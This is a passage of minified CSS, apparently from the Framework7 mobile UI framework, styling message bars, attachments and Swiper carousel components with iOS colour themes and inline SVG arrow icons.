.theme-dark .messages,.ios .theme-dark .messages-content,.messages-content.ios .theme-dark,.messages.ios .theme-dark{background-color:transparent}.ios .theme-dark .message-received.message-typing .message-content:after,.ios .theme-dark .message-received.message-typing .message-content:before{background:#333}.ios .theme-dark .message-typing-indicator>div{background-color:#fff}.ios .theme-dark .message-received .message-bubble{background-color:#333;color:#fff}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .message-received,.ios.device-iphone-x .ios-left-edge .message-received,.ios.device-iphone-x .panel-left .message-received,.ios.device-iphone-x .popup .message-received,.ios.device-iphone-x .sheet-modal .message-received{margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .message-sent,.ios.device-iphone-x .ios-right-edge .message-sent,.ios.device-iphone-x .panel-right .message-sent,.ios.device-iphone-x .popup .message-sent,.ios.device-iphone-x .sheet-modal .message-sent{margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}@-webkit-keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}@keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-right:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-right:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .messagebar{background:#fff;min-height:44px}.ios .messagebar:before{display:none!important}.ios .messagebar textarea{background:#fff;border-radius:17px;padding:6px 15px;height:34px;line-height:20px;font-size:17px;border:1px solid #c8c8cd}.ios .messagebar a.link.icon-only:first-child{margin-left:-8px}.ios .messagebar a.link.icon-only:last-child{margin-right:-8px}.ios .messagebar a.link:not(.icon-only)+.messagebar-area{margin-left:8px}.ios .messagebar .messagebar-area+a.link:not(.icon-only){margin-left:8px}.ios .messagebar-area{margin-top:5px;margin-bottom:5px}.ios .messagebar-attachments{padding:5px;border-radius:17px 17px 0 0;border:1px solid #c8c8cd;border-bottom:none}.ios .messagebar-attachments-visible .messagebar-attachments+textarea{border-radius:0 0 17px 17px}.ios .messagebar-attachment{border-radius:12px;font-size:14px}.ios .messagebar-attachment img{border-radius:12px}.ios .messagebar-sheet{background:#d1d5da}.ios .messagebar-attachment-delete{right:5px;top:5px;width:20px;height:20px;background:#7d7e80;border:2px solid #fff;cursor:pointer}.ios .messagebar-attachment-delete:after,.ios .messagebar-attachment-delete:before{width:10px;height:2px;background:#fff;margin-left:-5px;margin-top:-1px}.ios .theme-dark .messagebar textarea,.messagebar.ios .theme-dark textarea{background-color:#000;border-color:#282829;color:#fff}.ios .theme-dark .messagebar-attachments{border-color:#282829;background-color:#000}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.ios .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.ios .swiper-button-prev,.ios .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-button-next,.ios .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-pagination-bullet-active{background:#007aff}.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-red .swiper-button-prev,.ios .color-theme-red .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-red,.ios .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .swiper-button-next,.ios .color-theme-red .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-red,.ios .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-red .swiper-pagination-bullet-active,.ios .color-theme-red .swiper-pagination-bullet-active{background:#ff3b30}.ios .color-red .swiper-pagination-progressbar,.ios .color-red.swiper-pagination-progressbar,.ios .color-theme-red .swiper-pagination-progressbar,.ios .color-theme-red.swiper-pagination-progressbar{background:rgba(255,59,48,.25)}.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff3b30}.ios .color-theme-green .swiper-button-prev,.ios .color-theme-green .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-green,.ios .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .swiper-button-next,.ios .color-theme-green .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-green,.ios .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-green .swiper-pagination-bullet-active,.ios .color-theme-green .swiper-pagination-bullet-active{background:#4cd964}.ios .color-green .swiper-pagination-progressbar,.ios .color-green.swiper-pagination-progressbar,.ios .color-theme-green .swiper-pagination-progressbar,.ios .color-theme-green.swiper-pagination-progressbar{background:rgba(76,217,100,.25)}.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4cd964}.ios .color-theme-blue .swiper-button-prev,.ios .color-theme-blue .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-blue,.ios .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .swiper-button-next,.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-blue,.ios .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-blue .swiper-pagination-bullet-active,.ios .color-theme-blue .swiper-pagination-bullet-active{background:#007aff}.ios .color-blue .swiper-pagination-progressbar,.ios .color-blue.swiper-pagination-progressbar,.ios .color-theme-blue .swiper-pagination-progressbar,.ios .color-theme-blue.swiper-pagination-progressbar{background:rgba(0,122,255,.25)}.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-pink .swiper-button-prev,.ios .color-theme-pink .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-pink,.ios .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .swiper-button-next,.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-pink,.ios .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-pink .swiper-pagination-bullet-active,.ios .color-theme-pink .swiper-pagination-bullet-active{background:#ff2d55}.ios .color-pink .swiper-pagination-progressbar,.ios .color-pink.swiper-pagination-progressbar,.ios .color-theme-pink .swiper-pagination-progressbar,.ios .color-theme-pink.swiper-pagination-progressbar{background:rgba(255,45,85,.25)}.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff2d55}.ios .color-theme-yellow .swiper-button-prev,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-yellow,.ios .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-button-next,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-yellow,.ios .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-pagination-bullet-active,.ios .color-yellow .swiper-pagination-bullet-active{background:#fc0}.ios .color-theme-yellow .swiper-pagination-progressbar,.ios .color-theme-yellow.swiper-pagination-progressbar,.ios .color-yellow .swiper-pagination-progressbar,.ios .color-yellow.swiper-pagination-progressbar{background:rgba(255,204,0,.25)}.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fc0}.ios .color-theme-orange .swiper-button-prev,.ios .color-theme-orange .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-orange,.ios .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .swiper-button-next,.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-orange,.ios .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-orange .swiper-pagination-bullet-active,.ios .color-theme-orange .swiper-pagination-bullet-active{background:#ff9500}.ios .color-orange .swiper-pagination-progressbar,.ios .color-orange.swiper-pagination-progressbar,.ios .color-theme-orange .swiper-pagination-progressbar,.ios .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,149,0,.25)}.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9500}.ios .color-theme-gray .swiper-button-prev,.ios .color-theme-gray .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-gray,.ios .swiper-container-rtl 